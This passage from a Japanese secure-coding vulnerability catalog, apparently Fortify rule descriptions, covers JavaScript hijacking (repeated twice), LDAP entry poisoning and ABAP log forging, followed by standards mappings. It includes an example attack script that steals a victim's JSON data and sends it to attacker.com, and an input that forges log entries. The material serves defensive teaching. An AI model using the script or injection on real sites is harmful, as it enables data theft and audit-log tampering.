req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


このコードが実行されると、次のような HTTP リクエストが生成されます。


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(この HTTP レスポンスおよび後続のコードでは、この説明に直接関係のない HTTP ヘッダーは省略されています。)
サーバーは JSON 形式の配列を使用してレスポンスします。


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


この場合、JSON には現在のユーザーに関する機密情報 (有益な顧客リスト) が含まれています。このユーザーのセッション ID を把握していない場合、他のユーザーはこの情報にはアクセスできません(最近の Web アプリケーションは、セッション ID は cookie として保存されます)。しかし、ユーザー (被害者) が悪意ある Web サイトにアクセスすると、この悪意あるサイトは JavaScript 乗っ取り攻撃によりこの情報を取得することが可能となります。ユーザーが以下のような悪意あるコードが含む Web ページにアクセスするように仕組まれる場合、この被害者の顧客リストが攻撃者の Web サイトに送信されてしまいます。


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


この悪意あるコードでは、現在のページに JSON オブジェクトを追加するためにスクリプトタグが使用されています。Web ブラウザは、リクエストと共に適切なセッション cookie を送信します。言い換えると、このリクエストは正規のアプリケーションから出されたものとして処理されます。

JSON 配列がこのクライアントに到着すると、悪意あるページのコンテキストで評価されます。JSON の評価を見るために、悪意あるページでは新しいオブジェクトを作成するようにこの JavaScript 関数が再定義されています。このように、悪意あるコードにより仕掛けが挿入され、作成された各オブジェクトにアクセスされオブジェクトのコンテンツが悪意あるサイトへ転送されるようになります。また、他の攻撃により配列のデフォルトの構造体が上書きされる場合もあります。マッシュアップでの使用を目的としてビルドされているアプリケーションは、各 JavaScript メッセージの最後でコールバック関数を呼び出すことがあります。このコールバック関数は、マッシュアップにおける他のアプリケーションにより定義されるようになっています。このコールバック関数の存在が JavaScript 乗っ取り攻撃の実行を容易にしています。攻撃者が実行する必要があるのは、関数を定義することだけです。アプリケーションはマッシュアップ対応にすることもできます。また、セキュリティを重視するようにすることもできますが、それらを両立することはできません。脆弱なサイト ユーザーがログインすると、攻撃者はユーザーにログインするように求め、次にアプリケーションの正規のログイン ページを表示することで、この攻撃を行うことができます。

攻撃者はユーザーの認証情報にはアクセスできませんので、これはフィッシング攻撃ではありません。そのため、フィッシング攻撃への対応策では、この攻撃を防ぐことはできません。さらに複雑な攻撃では、動的にスクリプトタグを生成する JavaScript を使用し、アプリケーションに対して一連のリクエストを行うことが可能です。これと同じ手法はアプリケーションマッシュアップを作成するために使用されます。このマッシュアップシナリオにおける唯一の相違点は、関連付けられるアプリケーションの 1 つが悪意あるものであることです。
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 12
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[12] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[27] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.structural.java.javascript_hijacking_vulnerable_framework
Abstract
機密データの転送のために JavaScript 表記を使用するアプリケーションは、JavaScript 乗っ取り攻撃に対して脆弱である可能性があり、権限のない攻撃者が機密データを読み取ることができるようになります。
Explanation
アプリケーションは、データ転送形式として JavaScript オブジェクトを使用する場合、および機密データを扱う場合に、JavaScript 乗っ取り攻撃に対して脆弱となる可能性があります。JavaScript 乗っ取り攻撃はコード作成ミスの直接的な結果として発生するものではありません。そのため、Fortify Secure Coding Rulepacks では、HTTP レスポンスで JavaScript を生成する可能性があるコードを識別して、潜在的な JavaScript 乗っ取り攻撃の脆弱性に注意するよう呼び掛けています。

Web ブラウザーは、悪意のある Web サイトからユーザーを保護するために、同一生成元ポリシーを適用します。同一生成元ポリシーは、JavaScript が Web ページのコンテンツにアクセスできるように、JavaScript と Web ページの両方が同じドメインを由来としていることを求めます。同一生成元ポリシーが適用されない場合、他の Web サイトからクライアントの証明書を使用して機密性の高い情報をロードして選び取り、攻撃者にこれらの情報を戻す JavaScript が悪意ある Web サイトによって仕組まれる可能性があります。JavaScript 乗っ取り攻撃により、Web アプリケーションが JavaScript を使用して機密情報を通信する場合、攻撃者が同一生成元ポリシーをバイパスできてしまいます。同一生成元ポリシーの抜け穴は、Web サイトの JavaScript を他の Web サイトのコンテキストに組み込んで実行できてしまうことです。悪意のあるサイトは、クライアントの脆弱なサイトから読み込まれたデータを直接調べることはできませんが、JavaScript の実行とそれに関連する副作用を監視する環境を構築することで、この抜け穴を利用します。従来の Web アプリケーションとは異なり、多くの Web 2.0 アプリケーションはデータ転送メカニズムとして JavaScript を使用しているため脆弱です。

JavaScript で情報をやり取りする場合の最も一般的な形式は JavaScript Object Notation (JSON) です。JSON RFC により、JSON 構文は JavaScript オブジェクトリテラル構文のサブセットとして定義されています。JSON は、配列とオブジェクトの 2 種類のデータ構造に基づいています。メッセージを 1 つ以上の有効な JavaScript ステートメントとして解釈することができるあらゆるデータ転送形式は、JavaScript 乗っ取り攻撃に対して脆弱です。JSON 配列は有効な JavaScript ステートメントとして独立しているため、JSON では JavaScript 乗っ取り攻撃を受けやすくなります。配列はリストをやり取りする場合に最も一般的に使用される形式であるため、アプリケーションが複数の値をやり取りする必要がある場合には頻繁に使用されます。言い換えれば、JSON 配列は JavaScript 乗っ取り攻撃に対して直接脆弱となっています。JSON オブジェクトは有効な JavaScript ステートメントとして独立している別の JavaScript 構造体にラップされる場合にのみ、脆弱となります。

例 1: 次の例ではまず、有益な顧客リストを管理するために使用される Web アプリケーションのクライアント コンポーネントおよびサーバー コンポーネント間における正規の JSON の相互処理について示します。次に、攻撃者がクライアントになりすまし、サーバーが返す機密データにアクセスする方法を示します。この例は Mozilla ベースのブラウザについて記述したものです。他の主要なブラウザでは、新しい演算子を使用せずにオブジェクトが作成される場合にネイティブ構造体は上書きできなくなっています。

クライアントはサーバーからデータをリクエストして、次のコードで JSON として結果を評価します。


var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);


このコードが実行されると、次のような HTTP リクエストが生成されます。


GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR


(この HTTP レスポンスおよび後続のコードでは、この説明に直接関係のない HTTP ヘッダーは省略されています。)
サーバーは JSON 形式の配列を使用してレスポンスします。


HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]


この場合、JSON には現在のユーザーに関する機密情報 (有益な顧客リスト) が含まれています。このユーザーのセッション ID を把握していない場合、他のユーザーはこの情報にはアクセスできません(最近の Web アプリケーションは、セッション ID は cookie として保存されます)。しかし、ユーザー (被害者) が悪意ある Web サイトにアクセスすると、この悪意あるサイトは JavaScript 乗っ取り攻撃によりこの情報を取得することが可能となります。ユーザーが以下のような悪意あるコードが含む Web ページにアクセスするように仕組まれる場合、この被害者の顧客リストが攻撃者の Web サイトに送信されてしまいます。


<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}

// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>


この悪意あるコードでは、現在のページに JSON オブジェクトを追加するためにスクリプトタグが使用されています。Web ブラウザは、リクエストと共に適切なセッション cookie を送信します。言い換えると、このリクエストは正規のアプリケーションから出されたものとして処理されます。

JSON 配列がこのクライアントに到着すると、悪意あるページのコンテキストで評価されます。JSON の評価を見るために、悪意あるページでは新しいオブジェクトを作成するようにこの JavaScript 関数が再定義されています。このように、悪意あるコードにより仕掛けが挿入され、作成された各オブジェクトにアクセスされオブジェクトのコンテンツが悪意あるサイトへ転送されるようになります。また、他の攻撃により配列のデフォルトの構造体が上書きされる場合もあります。マッシュアップでの使用を目的としてビルドされているアプリケーションは、各 JavaScript メッセージの最後でコールバック関数を呼び出すことがあります。このコールバック関数は、マッシュアップにおける他のアプリケーションにより定義されるようになっています。このコールバック関数の存在が JavaScript 乗っ取り攻撃の実行を容易にしています。攻撃者が実行する必要があるのは、関数を定義することだけです。アプリケーションはマッシュアップ対応にすることもできます。また、セキュリティを重視するようにすることもできますが、それらを両立することはできません。脆弱なサイト ユーザーがログインすると、攻撃者はユーザーにログインするように求め、次にアプリケーションの正規のログイン ページを表示することで、この攻撃を行うことができます。

攻撃者はユーザーの認証情報にはアクセスできませんので、これはフィッシング攻撃ではありません。そのため、フィッシング攻撃への対応策では、この攻撃を防ぐことはできません。さらに複雑な攻撃では、動的にスクリプトタグを生成する JavaScript を使用し、アプリケーションに対して一連のリクエストを行うことが可能です。これと同じ手法はアプリケーションマッシュアップを作成するために使用されます。このマッシュアップシナリオにおける唯一の相違点は、関連付けられるアプリケーションの 1 つが悪意あるものであることです。
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 12
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[12] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[27] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.dataflow.javascript.javascript_hijacking_vulnerable_framework
Abstract
オブジェクトを返す LDAP 検索を実行するアプリケーションは、LDAP レスポンスを制御して、サーバー上で任意のコードを実行するチャンスを攻撃者に与える可能性があります。
Explanation
攻撃者は、保存中のエントリを変更するか、オンザフライでレスポンスを傍受して変更する (man-in-the-middle 攻撃) ことで、LDAP レスポンスを改ざんし、LDAP エントリに特別な Java 属性を挿入できます。オブジェクトを返す検索を実行する場合、Java 属性は Java デシリアライゼーションまたは JNDI 間接参照を使用して Java オブジェクトとしてデコードされるため、攻撃者は検索を実行するアプリケーション サーバーでリモートコードを実行できます。

アプリケーションは、search メソッドに渡された javax.naming.directory.SearchControls インスタンスで returningObjectFlagtrue に設定するか、代わりにこのフラグを設定するライブラリ関数を使用することで、オブジェクトを返す検索を実行します。

この場合、アプリケーションはオブジェクトを返す検索を実行する Spring Security LDAP 認証モジュールを使用しているため、LDAP エントリ ポイズニングに対して脆弱です。

例: 次の Bean 構成ファイルでは、アプリケーションで認証プロバイダとして Spring Security LDAP モジュールが使用されるように構成されます。


<beans ... >
<authentication-manager>
<ldap-authentication-provider
user-search-filter="(uid={0})"
user-search-base="ou=users,dc=example,dc=org"
group-search-filter="(uniqueMember={0})"
group-search-base="ou=groups,dc=example,dc=org"
group-role-attribute="cn"
role-prefix="ROLE_">
</ldap-authentication-provider>
</authentication-manager>
</beans>
References
[1] Introducing JNDI Injection and LDAP Entry Poisoning OpenText Fortify
[2] A Journey from JNDI/LDAP manipulation to remote code execution dream land BlackHat
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 4
[7] Standards Mapping - CIS Google Cloud Computing Platform Benchmark complete
[8] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[9] Standards Mapping - CIS Kubernetes Benchmark complete
[10] Standards Mapping - Common Weakness Enumeration CWE ID 20
[11] Standards Mapping - Common Weakness Enumeration Top 25 2019 [3] CWE ID 020
[12] Standards Mapping - Common Weakness Enumeration Top 25 2020 [3] CWE ID 020
[13] Standards Mapping - Common Weakness Enumeration Top 25 2021 [4] CWE ID 020
[14] Standards Mapping - Common Weakness Enumeration Top 25 2022 [4] CWE ID 020
[15] Standards Mapping - Common Weakness Enumeration Top 25 2023 [6] CWE ID 020
[16] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[17] Standards Mapping - FIPS200 SI
[18] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[19] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[20] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[21] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[22] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[23] Standards Mapping - OWASP Top 10 2010 A1 Injection
[24] Standards Mapping - OWASP Top 10 2013 A1 Injection
[25] Standards Mapping - OWASP Top 10 2017 A1 Injection
[26] Standards Mapping - OWASP Top 10 2021 A03 Injection
[27] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.1.3 Input Validation Requirements (L1 L2 L3), 5.1.4 Input Validation Requirements (L1 L2 L3)
[28] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[29] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[35] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[36] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[37] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[38] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[39] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[40] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[41] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
desc.configuration.java.ldap_entry_poisoning
Abstract
未検証のユーザー入力をログファイルに書き込むと、攻撃者がログエントリを偽造したり、悪意のあるコンテンツをログに注入できる可能性があります。
Explanation
次の場合に、Log Forging の脆弱性が発生します。

1. 信頼されていないソースからデータがアプリケーションに入り込んだ場合。

2. データはアプリケーションまたはシステムログファイルに書き込まれます。

アプリケーションは通常、後でレビュー、統計情報収集、デバッグを行う場合に備え、イベントやトランザクションの履歴をログファイルに保管しています。アプリケーションの内容により、ログファイルをレビューするタスクは必要に応じて手動で実行するか、重要なイベントやトレンド情報のログを自動的に選び出すツールを使って自動的に実行できます。

後で逐語的に記録されるアプリケーションに攻撃者がデータを供給できる場合、ログファイルの解釈が妨害されたり誤っていたりすることがあります。最も害のない場合でも、攻撃者はアプリケーションに適切な文字が含まれる入力を行い不正なエントリをログファイルに挿入することができます。ログ ファイルが自動処理される場合、攻撃者はファイル形式を破損させたり、想定外の文字を挿入したりしてファイルを使用できなくすることができます。より巧妙な攻撃では、ログファイルの統計情報が歪曲されます。偽造などの方法でログファイルを不正にし、攻撃者の痕跡を覆い隠したり、悪意ある行為の実行に第三者を巻き込んだりすることができます [1]。最悪の場合、攻撃者はコードやその他のコマンドをログファイルに挿入してログ処理ユーティリティの脆弱性を利用することができます [2]。

例: 次の Web アプリケーションコードはリクエストオブジェクトから値を読み込もうとします。その後、この値は記録されます。


...
DATA log_msg TYPE bal_s_msg.

val = request->get_form_field( 'val' ).

log_msg-msgid = 'XY'.
log_msg-msgty = 'E'.
log_msg-msgno = '123'.
log_msg-msgv1 = 'VAL: '.
log_msg-msgv2 = val.

CALL FUNCTION 'BAL_LOG_MSG_ADD'
EXPORTING
I_S_MSG = log_msg
EXCEPTIONS
LOG_NOT_FOUND = 1
MSG_INCONSISTENT = 2
LOG_IS_FULL = 3
OTHERS = 4.
...


ユーザーが val として「FOO」という文字列を送信すると、以下のエントリが記録されます。


XY E 123 VAL: FOO


しかし、攻撃者が「FOO XY E 124 VAL: BAR」という文字列を送信すると、以下のエントリが記録されます。


XY E 123 VAL: FOO XY E 124 VAL: BAR


明らかに、攻撃者はこれと同じメカニズムを使って任意のログ エントリを挿入できます。
References
[1] A. Muffet The night the log was forged.
[2] G. Hoglund, G. McGraw Exploiting Software Addison-Wesley
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 2
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - Common Weakness Enumeration CWE ID 117
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - FIPS200 AU, SI
[11] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[12] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 1.3
[13] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 AU-9 Protection of Audit Information (P1), AU-10 Non-Repudiation (P2), SC-24 Fail in Known State (P1), SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 AU-9 Protection of Audit Information, AU-10 Non-Repudiation, SC-24 Fail in Known State, SI-10 Information Input Validation
[16] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A09 Security Logging and Monitoring Failures
[22] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.2.1 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.1 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 7.3.1 Log Protection Requirements (L2 L3), 7.3.2 Log Protection Requirements (L2 L3)
[23] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[24] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[25] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1, Requirement 10.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2, Requirement 10.5.2
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1, Requirement 10.5.2
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1, Requirement 10.5.2
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1, Requirement 10.5.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1, Requirement 10.5.2
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1, Requirement 10.5.2
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 10.3.2
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective 8.4 - Activity Tracking, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3690.2 CAT II, APP3690.4 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000590 CAT II, APSC-DV-002320 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.abap.log_forging
Abstract
未検証のユーザー入力をログファイルに書き込むと、攻撃者がログエントリを偽造したり、悪意のあるコンテンツをログに注入できる可能性があります。
Explanation
